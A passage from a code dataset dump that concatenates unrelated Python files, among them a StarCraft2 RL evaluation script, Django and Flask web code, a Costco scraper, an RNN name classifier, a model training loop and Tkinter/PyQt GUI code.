get_common_args()\n if args.alg == 'coma':\n args = get_coma_args(args)\n rnn_suffix = 'rnn_params.pkl'\n critic_fuffix = 'critic_params.pkl'\n policy = COMA\n elif args.alg == 'qmix':\n args = get_mixer_args(args)\n rnn_suffix = 'rnn_net_params.pkl'\n critic_fuffix = 'qmix_net_params.pkl'\n policy = QMIX\n elif args.alg == 'vdn':\n args = get_mixer_args(args)\n rnn_suffix = 'rnn_net_params.pkl'\n critic_fuffix = 'vdn_net_params.pkl'\n policy = VDN\n else:\n raise Exception(\"Not finished\")\n env = StarCraft2Env(map_name=args.map,\n step_mul=args.step_mul,\n difficulty=args.difficulty,\n game_version=args.game_version,\n replay_dir=args.replay_dir)\n env_info = env.get_env_info()\n args.n_actions = env_info[\"n_actions\"]\n args.n_agents = env_info[\"n_agents\"]\n args.state_shape = env_info[\"state_shape\"]\n args.obs_shape = env_info[\"obs_shape\"]\n args.episode_limit = env_info[\"episode_limit\"]\n args.evaluate_epoch = 100\n runner = Runner(env, args)\n max_win_rate = 0\n max_win_rate_idx = 0\n for num in range(model_num):\n critic_path = model_path + '/' + str(num) + '_' + critic_fuffix\n rnn_path = model_path + '/' + str(num) + '_' + rnn_suffix\n if os.path.exists(critic_path) and os.path.exists(rnn_path):\n os.rename(critic_path, model_path + '/' + critic_fuffix)\n os.rename(rnn_path, model_path + '/' + rnn_suffix)\n runner.agents.policy = policy(args)\n win_rate = runner.evaluate_sparse()\n if win_rate > max_win_rate:\n max_win_rate = win_rate\n max_win_rate_idx = num\n\n os.rename(model_path + '/' + critic_fuffix, critic_path)\n os.rename(model_path + '/' + rnn_suffix, rnn_path)\n print('The win rate of {} is {}'.format(num, win_rate))\n print('The max win rate is {}, model index is {}'.format(max_win_rate, max_win_rate_idx))\n\n\nif __name__ == '__main__':\n plt_win_rate_mean()\n # plt_win_rate_single()","sub_path":"analyse.py","file_name":"analyse.py","file_ext":"py","file_size_in_byte":6195,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"532785335","text":"__author__ = 'mauricio'\n\nfrom django.conf.urls import patterns, url\n\nurlpatterns = patterns('web.views',\n url('^mockup/$', 'mockup'),\n url('^practice-areas/$', 'practicesAreas', name = 'practice-areas'),\n url('^attorneys-and-staff/$', 'attorneys_and_staff', name = 'attorneys-and-staff'),\n url('^newsletter/$', 'newsletter', name = 'newsletter'),\n url('^contact-us/$', 'contact_us', name = 'contact-us'),\n url('^spotlight/$', 'spotlight', name = 'spotlight'),\n url('^spotlight/(?P[-\\w]+)$', 'spotlight', name = 'one-spotlight'),\n url('^news/$', 'news', name = 'news'),\n url('^data-us/$', 'send_data', name = 'data-us'),\n url('^sueno-usa/$', 'sueno_usa', name = 'sueno-usa'),\n url('^$', 'home', {'msg': False}, name='home'),\n)\n","sub_path":"web/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":764,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"281571233","text":"#import numpy as np\n\nN = int(input())\n\nl = [ [ 0 for i in range(9) ] for j in range(9) ]\n#l = np.zeros((9,9), dtype=np.int)\n# l[i][j] : i = 頭文字 j = 最後の文字\n\nfor k in range(N):\n x = str(k+1)\n i = int(x[0])\n j = int(x[-1])\n\n #print(i,j)\n\n if i == 0 or j == 0:\n continue\n l[i-1][j-1] += 1\n\nans = 0\nfor i in range(9):\n for j in range(i,9):\n if i == j:\n n = l[i][j]\n ans += n**2\n else:\n ans += l[i][j] * l[j][i] * 2\n \n\nprint(ans)\n\n\n\n\n\n\n\n","sub_path":"Python_codes/p02792/s903645498.py","file_name":"s903645498.py","file_ext":"py","file_size_in_byte":534,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"242512580","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.4 (62061)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-i686/egg/falkolab/recipe/csstools/builder.py\n# Compiled at: 2009-06-04 04:46:11\nfrom falkolab.recipe.csstools import combiner\nfrom warnings import warn\n\nclass CSSBuilder(object):\n __module__ = __name__\n\n def __init__(self, buildout, name, options):\n self.defaults = {'resource-dir': options.get('resource-dir')}\n self.options = {'targetencoding': 'utf-8', 'compress': False}\n self.options.update(options)\n self.defaults.update(self.options)\n self.buildout = buildout\n if self.options.get('output-name') is not None:\n assert self.options.get('section'), ValueError('output-name var requires \"section\" var to select config section')\n self.minify = self.options.get('compress', False)\n if self.minify not in ('True', 'true', '1'):\n self.minify = False\n else:\n self.minify = True\n self.section = self.options.get('section', None)\n self.sourceencoding = self.options.get('sourceencoding', None)\n self.targetencoding = self.options.get('targetencoding', None)\n return\n\n def install(self):\n self.combiner = combiner.Combiner.getCombinerFromConfig(self.options.get('config'), output_dir=self.options.get('output-dir'), defaults=self.defaults, printer=self.buildout._logger.info)\n files = self.combiner.run(minify=self.minify, section=self.section, sourceencoding=self.sourceencoding, targetencoding=self.targetencoding)\n return files\n\n update = install","sub_path":"pycfiles/falkolab.recipe.csstools-1.0.2-py2.4/builder.py","file_name":"builder.py","file_ext":"py","file_size_in_byte":1678,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"592096439","text":"import cv2\nimport numpy as np\nimport os\nfrom model import dual_net\nfrom keras.optimizers import SGD,Adam\nfrom keras.losses import binary_crossentropy\nimport tensorflow as tf\nimport matplotlib.pyplot as plt \nimport seaborn as sns\nimport pandas as pd \n\ndef get_data_rope_run(runNumber):\n\n x_data = [] # x -> (n_samples, 2, 240, 240, 3)\n y_data = [] # y -> (n_samples, 4)\n img_list = []\n\n run_folder = os.path.join(\"rope\",\"run{}\".format(runNumber))\n action_file = os.path.join(run_folder,\"actions.npy\")\n actions = np.load(action_file)\n\n count = 0\n for file_name in os.listdir(run_folder):\n if file_name != \"actions.npy\":\n img_path = os.path.join(run_folder,file_name)\n img = cv2.imread(img_path)\n img_list.append(img)\n \n for i in range(len(img_list)-1):\n x_data.append([img_list[i],img_list[i+1]])\n y_data.append(actions[i][:4]) #Dont take last index\n\n return np.array(x_data), np.array(y_data)\n\ndef get_rope_data(runs):\n\n x_data = []\n y_data = []\n\n for i in range(3,runs):\n runNum = str(i).zfill(2)\n x_temp, y_temp = get_data_rope_run(runNum)\n if i == 3:\n x_data = x_temp\n y_data = y_temp\n else:\n x_data = np.concatenate([x_data,x_temp])\n y_data = np.concatenate([y_data,y_temp])\n print(\"Retrived Run{}\".format(runNum))\n \n #x_data = np.array(x_data)\n #y_data = np.array(y_data)\n\n rng_state = np.random.get_state()\n np.random.shuffle(x_data)\n np.random.set_state(rng_state)\n np.random.shuffle(y_data)\n \n return x_data,y_data\n\ndef create_batch(batch_size, step, x, y):\n\n batch_x = np.zeros((2, batch_size, 240, 240, 3))\n batch_y = np.zeros((batch_size, 4))\n\n batch_start_index = step * batch_size\n batch_stop_index = (step + 1) * batch_size - 1\n\n # get the samples in the batch\n counter = 0\n while batch_start_index < batch_stop_index:\n \tbatch_x[0][counter] = x[batch_start_index][0]\n \tbatch_x[1][counter] = x[batch_start_index][1]\n \tbatch_y[counter] = y[batch_start_index]\n \tcounter = counter + 1\n \tbatch_start_index = batch_start_index + 1\n\n return batch_x, batch_y\n\n\n\ndef train(x_train, y_train, x_validation, y_validation, epochs, batch_size):\n\n\tprev_validation_loss = 1000000 # max loss (used to save model with lowest validation loss)\n\n\t# initialize model and optimizer\n\tmodel = dual_net()\n\toptimizer= Adam(learning_rate=0.0001)\n\n\t# number of steps per epoch\n\tmax_steps = int(len(x_train)/batch_size)\n\n\tprint('Number of steps per epoch : ', max_steps)\n\n\tprint(\"Training...\")\n\ttotal_training_loss = []\n\ttotal_validation_loss = []\n\n\t# training loop\n\tfor epoch in range(1,epochs+1):\n\n\t\tepoch_loss = []\n\t\tprint('____________________________________________________')\n\t\tprint('Epoch: ', epoch)\n\t\tstep = 0\n\n\t\t# loop through all batches. 1 batch/ step. each step updates the parameters after batch_size samples\n\t\twhile step < max_steps:\n\t\t\t# get batch\n\t\t\tbatch_x,batch_y = create_batch(batch_size, step, x_train, y_train)\n\n\t\t\twith tf.GradientTape() as tape:\n\t\t\t\ty_pred = model([batch_x[0],batch_x[1]], training = True)\n\t\t\t\tloss_val = tf.keras.losses.MSE(batch_y, y_pred)\n\n\t\t\t# calculate the gradients of loss w.r.t. parameters for the batch\n\t\t\tgrads = tape.gradient(loss_val, model.trainable_weights)\n\n\t\t\t# optimize parameters \n\t\t\toptimizer.apply_gradients(zip(grads, model.trainable_weights))\n\t\t\ttotal_step_loss = loss_val.numpy().mean()\n\t\t\tepoch_loss.append(total_step_loss)\n\n\t\t\tif step % 10 == 0:\n\t\t\t\tprint('Step: ', step, ', Loss: ', loss_val.numpy().mean())\n\n\t\t\tstep = step + 1\n\n\t\tprint('Average Loss for Epoch: ', epoch, ' : ', np.array(epoch_loss).mean())\n\n\t\t# append epoch loss to the list of training losses\n\t\ttotal_training_loss.append(np.array(epoch_loss).mean())\n\n\t\t# now get loss for validation set\n\t\tn_validation_samples = len(x_validation)\n\t\tprint('The number of validation samples : ', n_validation_samples)\n\t\t\n\t\tmax_validation_steps = int(len(x_validation)/batch_size) ###################\n\t\tprint('The number of steps in total : ', max_validation_steps)\n\n\t\t# x_validation_reshaped = np.reshape(x_validation, (2, n_validation_samples, 240, 240, 3)) # (n_samples, 2, 240, 240, 3) -> (2, n_samples, 240, 240, 3)\n\t\tvalidation_losses = []\n\t\tvalidation_step = 0\n\t\twhile validation_step < max_validation_steps:\n\t\t\tprint('Evaluating on validation set...')\n\t\t\tvalidation_batch_x, validation_batch_y = create_batch(batch_size, validation_step, x_validation, y_validation)\n\t\t\t# print('Inside validation batch : ', validation_step)\n\t\t\t# print('Shape of validation x : ', validation_batch_x.shape)\n\t\t\t# print('Shape of validation y : ', validation_batch_y.shape)\n\t\t\tvalidation_y_pred = model([validation_batch_x[0], validation_batch_x[1]], training = False)\n\t\t\tvalidation_step_loss = tf.keras.losses.MSE(validation_y_pred, validation_batch_y)\n\t\t\tvalidation_losses.append(np.array(validation_step_loss).mean())\n\t\t\tvalidation_step = validation_step + 1\n\n\t\tmean_validation_loss = np.array(validation_losses).mean()\n\t\tprint('Mean Validation Loss for Epoch : ', epoch, ' : ', mean_validation_loss)\n\t\ttotal_validation_loss.append(mean_validation_loss)\n\n\n\t\t# validation_preds = model([x_validation_reshaped[0], x_validation_reshaped[1]], training = False)\n\t\t# validation_loss = tf.keras.losses.MSE(validation_preds, y_validation)\n\t\t# mean_validation_loss = np.array(validation_loss).mean()\n\t\t# print('validation loss for Epoch: ', epoch, ' : ', mean_validation_loss)\n\t\t\n\t\t# save the model if this performs better than the previous model on the validation set\n\t\tif mean_validation_loss < prev_validation_loss:\n\t\t\tprint('Saving model...')\n\t\t\tmodel.save('model.h5')\n\t\t\t# np.save(\"loss.npy\", loss, allow_pickle = True, fix_imports = True)\n\t\t\tprev_validation_loss = mean_validation_loss\n\n\treturn model, total_training_loss, total_validation_loss\n\n\ndef main():\n\n\tepochs = 10\n\tbatch_size = 100\n\trope_runs = 68\n\n\tprint(\"Getting Data...\")\n\tX,y = get_rope_data(rope_runs)\n\tnp.save(\"X.npy\", X, allow_pickle=True, fix_imports=True)\n\tnp.save(\"y.npy\", y, allow_pickle=True, fix_imports=True)\n\n\t#Load Data\n\tprint('Loading Data...')\n\t#X = np.load(\"X.npy\")\n\t#y = np.load(\"y.npy\")\n\n\t# split the data into training, validation and test: (.7, .2, .1) split\n\ttrain_index = int(len(X) * 0.7)\n\tvalidation_index = int(len(X) * 0.9)\n\n\t# training set\n\tx_train = X[:train_index]\n\ty_train = y[:train_index]\n\n\t# validation set\n\tx_validation = X[train_index:validation_index]\n\ty_validation = y[train_index:validation_index]\n\n\t# test set\n\tx_test = X[validation_index:]\n\ty_test = y[validation_index:]\n\n\tmodel, total_training_loss, total_validation_loss = train(x_train, y_train, x_validation, y_validation, epochs, batch_size)\n\n\tprint('The losses for training set : ', total_training_loss)\n\n\t# plot the training losses\n\tloss_df = pd.DataFrame()\n\tloss_df['epochs'] = list(range(epochs))\n\tloss_df['validation_loss'] = total_validation_loss\n\tloss_df['training_loss'] = total_training_loss\n\tloss_df = loss_df.set_index('epochs')\n\tsns.lineplot(data = loss_df)\n\tplt.show()\n\nif __name__ == \"__main__\":\n main()\n\n\n\n","sub_path":"Rope/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":7110,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"546023997","text":"from django.urls import path\n\nfrom forms import views\n\napp_name = 'forms'\n\nurlpatterns = [\n path('thanks/', views.thanks, name='thanks'),\n path('name/', views.get_name, name='name'),\n path('contact/', views.get_contact_name, name='contact'),\n]\n","sub_path":"forms/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"551509369","text":"import requests\nimport urllib.parse\nfrom bs4 import BeautifulSoup\n\n\ndef get_url_costco(search_term):\n \"\"\"\n Parameters\n ----------\n search_term: NamedTuple\n NamedTuple named Description, contains product title and price\n\n Returns\n -------\n template : str\n costco search url for the selected product\n \"\"\"\n modified_search_term = urllib.parse.quote(str(search_term.title))\n url = F\"https://www.costco.com/CatalogSearch?dept=All&keyword={modified_search_term}\"\n print(f\"Constructed Costco's URL: \\n {url}\")\n return url\n\n\ndef scrap_costco(search_term):\n \"\"\"\n\n :param driver:\n :param search_term:\n :return:\n \"\"\"\n results = []\n try:\n url = get_url_costco(search_term)\n page = requests.get(url)\n soup = BeautifulSoup(page.content, \"html.parser\")\n # with open(\n # \"/Users/anubhavchaudhary/Downloads/github/repos/cheapBuy/data/costco.html\",\n # \"w\",\n # ) as fileptr:\n # fileptr.write(str(soup))\n results = soup.find_all(\"div\", {\"class\": \"product-tile-set\"})\n\n except Exception as e:\n print(e)\n results = []\n return results\n\n\ndef extract_item_costco(search_term):\n \"\"\"\n\n :param driver:\n :param search_term:\n :return:\n \"\"\"\n result = {}\n try:\n results = scrap_costco(search_term)\n if len(results) == 0:\n print(\n f\"For search_term: {search_term}, \\n No item found scrapping Costco.\")\n return result\n print(f\"Found {len(results)} items on the Costco, picking the 1st one.\")\n item = results[0]\n atag = item.find(\"a\", {\"automation-id\": \"productDescriptionLink_0\"})\n result[\"description\"] = atag.text\n result[\"url\"] = atag.get(\"href\")\n result[\"price\"] = (\n item.find(\"div\", {\"class\": \"price\"}).get_text().strip().strip(\"$\")\n )\n result[\"site\"] = \"Costco\"\n except Exception as e:\n print(F\"Scraping failed for Costco due to: {e}\")\n result = {}\n return result\n","sub_path":"code/web/scraper/scrap/costco.py","file_name":"costco.py","file_ext":"py","file_size_in_byte":2062,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"220811154","text":"import torch\nimport os\nimport string\nn_letters=57\nn_hidden=128\nn_categories=18\n\nimport torch.nn as nn\nimport torch\nall_letters = string.ascii_letters + \" .,;'\"\nn_letters = len(all_letters)\n# Find letter index from all_letters, e.g. \"a\" = 0\ndef letterToIndex(letter):\n return all_letters.find(letter)\n\n# Just for demonstration, turn a letter into a <1 x n_letters> Tensor\ndef letterToTensor(letter):\n tensor = torch.zeros(1, n_letters)\n tensor[0][letterToIndex(letter)] = 1\n return tensor\n\n# Turn a line into a ,\n# or an array of one-hot letter vectors\ndef lineToTensor(line):\n tensor = torch.zeros(len(line), 1, n_letters)\n for li, letter in enumerate(line):\n tensor[li][0][letterToIndex(letter)] = 1\n return tensor\nclass RNN(nn.Module):\n def __init__(self, input_size, hidden_size, output_size):\n super(RNN, self).__init__()\n\n self.hidden_size = hidden_size\n\n self.i2h = nn.Linear(input_size + hidden_size, hidden_size)\n self.i2o = nn.Linear(input_size + hidden_size, output_size)\n self.softmax = nn.LogSoftmax(dim=1)\n\n def forward(self, input, hidden):\n combined = torch.cat((input, hidden), 1)\n hidden = self.i2h(combined)\n output = self.i2o(combined)\n output = self.softmax(output)\n return output, hidden\n\n def initHidden(self):\n return torch.zeros(1, self.hidden_size)\n\n# Just return an output given a line\ndef evaluate(rnn,line_tensor):\n hidden = rnn.initHidden()\n\n for i in range(line_tensor.size()[0]):\n output, hidden = rnn(line_tensor[i], hidden)\n\n return output\n\n\n\n\ndef rnn_predict(input_line, rnn,n_predictions=3):\n #print('\\n> %s' % input_line)\n with torch.no_grad():\n #import pdb\n #pdb.set_trace()\n output = evaluate(rnn,lineToTensor(input_line))\n\n # Get top N categories\n topv, topi = output.topk(n_predictions, 1, True)\n predictions = []\n\n for i in range(n_predictions):\n value = topv[0][i].item()\n category_index = topi[0][i].item()\n print('(%.2f) %s' % (value, all_categories[category_index]))\n predictions.append([value, all_categories[category_index]])\nall_categories=['Czech','German','Arabic','Japanese','Chinese','Vietnamese','Russian','French','Irish','English','Spanish','Greek','Italian','Portuguese','Scottish','Dutch','Korean','Polish']\n\ndef predict(namestr):\n dirpath=os.path.dirname(os.path.abspath(__file__))\n PATH=os.path.join(dirpath,\"./model/rnn.pth\")\n net = RNN(57,128,18)\n net.load_state_dict(torch.load(PATH))\n rnn_predict(namestr,net)\n \nif __name__==\"__main__\":\n dirpath=os.path.dirname(os.path.abspath(__file__))\n PATH=os.path.join(dirpath,\"./model/rnn.pth\")\n net = RNN(57,128,18)\n net.load_state_dict(torch.load(PATH))\n rnn_predict(\"time\",net)\n","sub_path":"nacla/nacla/nacla.py","file_name":"nacla.py","file_ext":"py","file_size_in_byte":2876,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"586434685","text":"# -*- coding: utf-8 -*-\n\"\"\"This module gathers JSON endpoints, used by AJAX calls.\n\"\"\"\n\nimport functools\nimport math\nimport re\n\nfrom flask import Blueprint, jsonify, redirect, render_template, request, url_for\nfrom flask_security import current_user, login_required, roles_accepted\n\nfrom sqlalchemy import func, or_\nfrom sqlalchemy.orm import aliased\n\nfrom marshmallow import fields, EXCLUDE, pre_load, Schema, ValidationError\nfrom marshmallow.validate import Range\n\nfrom geopy.distance import vincenty\n\nfrom APITaxi_models import db, Hail, Taxi, Vehicle\nfrom APITaxi_models.security import User\n\n\nblueprint = Blueprint('api', __name__)\n\n\nclass DataTablesSchema(Schema):\n \"\"\"Validate parameters for /api/users.\"\"\"\n\n class Meta:\n \"\"\"Do not raise an error nor return extra fields when calling schema.load().\n \"\"\"\n unknown = EXCLUDE\n\n @pre_load\n def preprocess(self, data, **kwargs):\n \"\"\"Datatables queries views with the following querystring arguments:\n\n \"draw\": \"1\",\n \"columns[0][data]\": \"id\",\n \"columns[0][name]\": \"taxi_id\",\n \"columns[0][searchable]\": \"true\",\n \"columns[0][orderable]\": \"false\",\n \"columns[0][search][value]\": \"oaakaafaiakkaaaawaa\",\n \"columns[0][search][regex]\": \"false\",\n \"columns[1][data]\": ...\n ...\n \"start\": \"0\",\n \"length\": \"50\",\n \"search[value]\": \"\",\n \"search[regex]\": \"false\",\n\n This function returns a dictionary, like:\n\n {\n 'draw': '1',\n 'columns': {\n '0': {\n 'data': 'id',\n 'name': 'taxi_id',\n 'searchable': 'true',\n 'orderable': 'false',\n 'search': {\n 'value': ...\n 'regex': ...\n ...\n }\n ...\n }\n }\n\n Validators are run against the output of this function.\n \"\"\"\n ret = {}\n\n for key, value in data.items():\n # The regex below matches: columns[field][field2][field3]\n res = re.match(r'^(?P[^\\[]+)(\\[[^\\[]+\\])+', key)\n if not res:\n ret[key] = value\n else:\n root_key = res.groupdict()['root_key']\n # Match each subkey. For example for columns[field1][field2][field3], returns ['field1', 'fiel2', 'field3']\n subkeys = re.findall(r'\\[([^\\[]*)\\]', key)\n\n if root_key not in ret:\n ret[root_key] = {}\n\n tmp = ret[root_key]\n for subkey in subkeys[:-1]:\n if subkey not in tmp:\n tmp[subkey] = {}\n tmp = tmp[subkey]\n tmp[subkeys[-1]] = value\n return dict(ret)\n\n length = fields.Int(required=True, validate=Range(min=1, max=100))\n start = fields.Int(required=True)\n # Javascript module datatables provides a draw id in the request that needs\n # to be sent back in the response.\n draw = fields.Int(required=True)\n\n columns = fields.Dict(required=False)\n\n\ndef get_datatables_filter(filter_name, columns):\n \"\"\"Given the columns dictionary returned by Datatables.preprocess(), return the value of the search field\n `filter_name`.\n \"\"\"\n if not columns:\n return\n\n for column in columns.values():\n if column.get('name') == filter_name:\n return column.get('search', {}).get('value')\n\n\ndef check_datatables_arguments(func):\n \"\"\"Decorator to validate Datatables parameters.\n\n APIs endpoints below are expected to be called by the javascript frontend, but if a user attempts to make a cURL\n query, we want to display an explicit error message to ask to provide the parameters as the front does.\n \"\"\"\n @functools.wraps(func)\n def _decorator(*args, **kwargs):\n try:\n params = DataTablesSchema().load(dict(request.args))\n except ValidationError as err:\n return jsonify({'errors': err.messages})\n return func(**params)\n return _decorator\n\n\n@blueprint.route('/api/users', methods=['GET'])\n@login_required\n@roles_accepted('admin')\n@check_datatables_arguments\ndef users(length, start, draw, columns=None):\n \"\"\"Administration endpoint to list users.\"\"\"\n query = User.query.order_by(User.id)\n records_total = query.count()\n\n commercial_name_filter = get_datatables_filter('commercial_name', columns)\n if commercial_name_filter:\n query = query.filter(func.lower(User.commercial_name).startswith(commercial_name_filter.lower()))\n\n email_filter = get_datatables_filter('email', columns)\n if email_filter:\n query = query.filter(func.lower(User.email).startswith(email_filter.lower()))\n\n records_filtered = query.count()\n users = query.offset(start).limit(length).all()\n\n # The format below is expected by datatables.\n return jsonify({\n 'draw': draw,\n 'recordsTotal': records_total,\n 'recordsFiltered': records_filtered,\n 'data': [{\n 'id': user.id,\n 'email': user.email,\n 'commercial_name': user.commercial_name,\n } for user in users]\n })\n\n\n@blueprint.route('/api/hails', methods=['GET'])\n@login_required\n@roles_accepted('admin', 'moteur', 'operateur')\n@check_datatables_arguments\ndef hails(length, start, draw, columns=None):\n \"\"\"List taxis of operateur.\"\"\"\n UserOperateur = aliased(User)\n UserMoteur = aliased(User)\n\n query = Hail.query.with_entities(\n Hail, UserOperateur, UserMoteur\n ).filter(\n or_(Hail.operateur_id == current_user.id,\n Hail.added_by == current_user.id)\n ).join(\n UserOperateur, Hail.operateur_id == UserOperateur.id\n ).join(\n UserMoteur, Hail.added_by == UserMoteur.id\n ).order_by(\n Hail.added_at.desc()\n )\n records_total = query.count()\n\n taxi_id_filter = get_datatables_filter('taxi_id', columns)\n if taxi_id_filter:\n query = query.filter(func.lower(Hail.taxi_id).startswith(taxi_id_filter.lower()))\n\n records_filtered = query.count()\n\n hails = query.offset(start).limit(length).all()\n\n # The format below is expected by datatables.\n return jsonify({\n 'draw': draw,\n 'recordsTotal': records_total,\n 'recordsFiltered': records_filtered,\n 'data': [{\n 'id': hail.id,\n 'status': hail._status,\n 'taxi': {\n 'id': hail.taxi_id,\n },\n 'operateur': {\n 'id': operateur.id,\n 'commercial_name': operateur.commercial_name,\n },\n 'moteur': {\n 'id': moteur.id,\n 'commercial_name': moteur.commercial_name,\n },\n 'added_at': hail.added_at.isoformat(),\n 'distance': math.trunc(vincenty(\n (hail.customer_lat, hail.customer_lon),\n (hail.initial_taxi_lat, hail.initial_taxi_lon)\n ).meters)\n } for hail, operateur, moteur in hails]\n })\n\n\n@blueprint.route('/api/taxis', methods=['GET'])\n@login_required\n@roles_accepted('admin', 'operateur')\n@check_datatables_arguments\ndef taxis(length, start, draw, columns=None):\n \"\"\"List taxis of operateur.\"\"\"\n query = Taxi.query.join(Vehicle).filter(\n Taxi.added_by == current_user.id\n ).order_by(\n Taxi.added_at.desc()\n )\n\n records_total = query.count()\n\n taxi_id_filter = get_datatables_filter('taxi_id', columns)\n if taxi_id_filter:\n query = query.filter(func.lower(Taxi.id).startswith(taxi_id_filter.lower()))\n\n licence_plate_filter = get_datatables_filter('licence_plate', columns)\n if licence_plate_filter:\n query = query.filter(func.lower(Vehicle.licence_plate).startswith(licence_plate_filter.lower()))\n\n records_filtered = query.count()\n\n taxis = query.offset(start).limit(length).all()\n\n # The format below is expected by datatables.\n return jsonify({\n 'draw': draw,\n 'recordsTotal': records_total,\n 'recordsFiltered': records_filtered,\n 'data': [{\n 'id': taxi.id,\n 'added_at': taxi.added_at,\n 'vehicle': {\n 'licence_plate': taxi.vehicle.licence_plate,\n },\n 'driver': {\n 'fullname': '%s %s' % (taxi.driver.first_name, taxi.driver.last_name)\n },\n 'ads': {\n 'zupc': {\n 'name': taxi.ads.zupc.nom,\n }\n }\n } for taxi in taxis]\n })\n","sub_path":"APITaxi_front/views/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":8731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"206137785","text":"from tkinter.font import BOLD\n\nfrom restaurantLogin import *\nfrom tkinter import *\nfrom tkinter.messagebox import *\nfrom tkinter.filedialog import askopenfile\nfrom PIL import Image,ImageTk\nfrom shutil import copyfile\nfrom os import path\nfrom pathlib import Path\n# pip install pyttsx3 pypiwin32\nfrom tkinter import ttk\nfrom pygame import mixer\n\n\nclass splashscreen:\n def start(self):\n self.progress1[\"value\"] = 0\n self.maxbytes = 100\n self.progress1[\"maximum\"] = 100\n self.read_bytes()\n def read_bytes(self):\n '''simulate reading 500 bytes; update progress bar'''\n self.bytes += 1\n abc = \"Loading.... (\" + str(self.bytes // 1) + \"%)\"\n self.lb_blank.config(text=abc)\n self.progress1[\"value\"] = self.bytes\n if self.bytes < self.maxbytes:\n # read more bytes after 100 ms\n self.root.after(50, self.read_bytes)\n else:\n #mixer.music.stop()\n self.root.destroy()\n x = restaurantLogin()\n\n def __init__(self):\n self.root=Toplevel()\n # self.root.geometry(\"{0}x{0}+0+0\".format(self.root.winfo_screenwidth(), self.root.winfo_screenheight()))\n # self.root.resizable(0, 0)\n self.root.attributes('-fullscreen',True)\n\n # mixer.init()\n # mixer.music.load('images/a.mp3')\n # mixer.music.play()\n\n\n self.root.config(background=\"#FF0000\")\n self.a = Image.open(\"splashScreen//addMenu.png\").resize((1400, 680), Image.ANTIALIAS)\n dp = ImageTk.PhotoImage(self.a)\n self.lbphoto=Label(self.root,image=dp,bg='#FF0000')\n self.lb_blank = Label(self.root, text=\"\",bg=\"white\")\n self.progress1 = ttk.Progressbar(self.root, orient=\"horizontal\", length=500, mode=\"determinate\")\n self.ls=Label(self.root,text=\"RESTAURANT MENU\",bg=\"white\")\n self.ls.configure(font=(\"Helvetica\", 18))\n self.lbphoto.grid(row=0,column=0,columnspan=7)\n self.ls.grid(row=6,column=0)\n self.lb_blank.grid(row=8,column=1)\n self.progress1.grid(row=9,column=0)\n\n self.bytes = 0\n self.start()\n self.root.mainloop()\n#---------------------------------------------------------------------------------------------------------------\nx=splashscreen()","sub_path":"restaurant.py","file_name":"restaurant.py","file_ext":"py","file_size_in_byte":2272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"52316279","text":"from PyQt5.QtWidgets import QWidget, QPushButton, QLabel, QCheckBox\nfrom PyQt5.QtGui import QFont, QPalette\nfrom PyQt5.QtCore import QTimer\nfrom PyQt5 import QtCore\n\nfrom pyalarm.alarm import Alarm\nfrom pyalarm.config import Config\n\nclass EditWidget(QWidget) :\n def __init__(self, parent, alarm):\n super().__init__(parent)\n self.alarm = alarm\n self.__initUI() \n \n def __initUI(self):\n self.setGeometry(10, 10, 780, 460)\n pallet = QPalette()\n pallet.setColor(QPalette.Background, QtCore.Qt.darkGray)\n self.setPalette(pallet)\n self.setAutoFillBackground(True)\n self.setVisible(False)\n\n self.__hourUpButton = QPushButton(self)\n self.__hourUpButton.setGeometry(50, 50, 50, 50)\n self.__hourUpButton.setText(\"Up\")\n font = QFont(\"SansSerif\", pointSize=25)\n self.__hourUpButton.setFont(font)\n self.__hourUpButton.clicked.connect(self.__hourUpClicked)\n\n self.__hourDownButton = QPushButton(self)\n self.__hourDownButton.setGeometry(50, 100, 50, 50)\n self.__hourDownButton.setText(\"Down\")\n self.__hourDownButton.setFont(font)\n self.__hourDownButton.clicked.connect(self.__hourDownClicked)\n\n self.__hourText = QLabel(self)\n self.__hourText.setGeometry(100, 50, 100, 50)\n self.__hourText.setText(str(self.alarm.getHour()))\n font2 = QFont(\"SansSerif\", pointSize=45)\n self.__hourText.setFont(font2)\n\n self.__minuteUpButton = QPushButton(self)\n self.__minuteUpButton.setGeometry(305, 50, 50, 50)\n self.__minuteUpButton.setText(\"Up\")\n self.__minuteUpButton.setFont(font)\n self.__minuteUpButton.clicked.connect(self.__minuteUpClicked)\n\n self.__minuteDownButton = QPushButton(self)\n self.__minuteDownButton.setGeometry(305, 100, 50, 50)\n self.__minuteDownButton.setText(\"Down\")\n self.__minuteDownButton.setFont(font)\n self.__minuteDownButton.clicked.connect(self.__minuteDownClicked)\n\n self.__minuteText = QLabel(self)\n self.__minuteText.setGeometry(205, 50, 100, 50)\n self.__minuteText.setText(str(self.alarm.getMinute()))\n self.__minuteText.setFont(font2)\n\n self.__mondayCheckbox = QCheckBox(self)\n self.__mondayCheckbox.setGeometry(10, 200, 100, 50)\n self.__mondayCheckbox.setText(\"Monday\")\n self.__mondayCheckbox.setChecked(Alarm.MONDAY in self.alarm.getWeekdays())\n\n self.__tuesdayCheckbox = QCheckBox(self)\n self.__tuesdayCheckbox.setGeometry(110, 200, 100, 50)\n self.__tuesdayCheckbox.setText(\"Tuesday\")\n self.__tuesdayCheckbox.setChecked(Alarm.TUESDAY in self.alarm.getWeekdays())\n\n 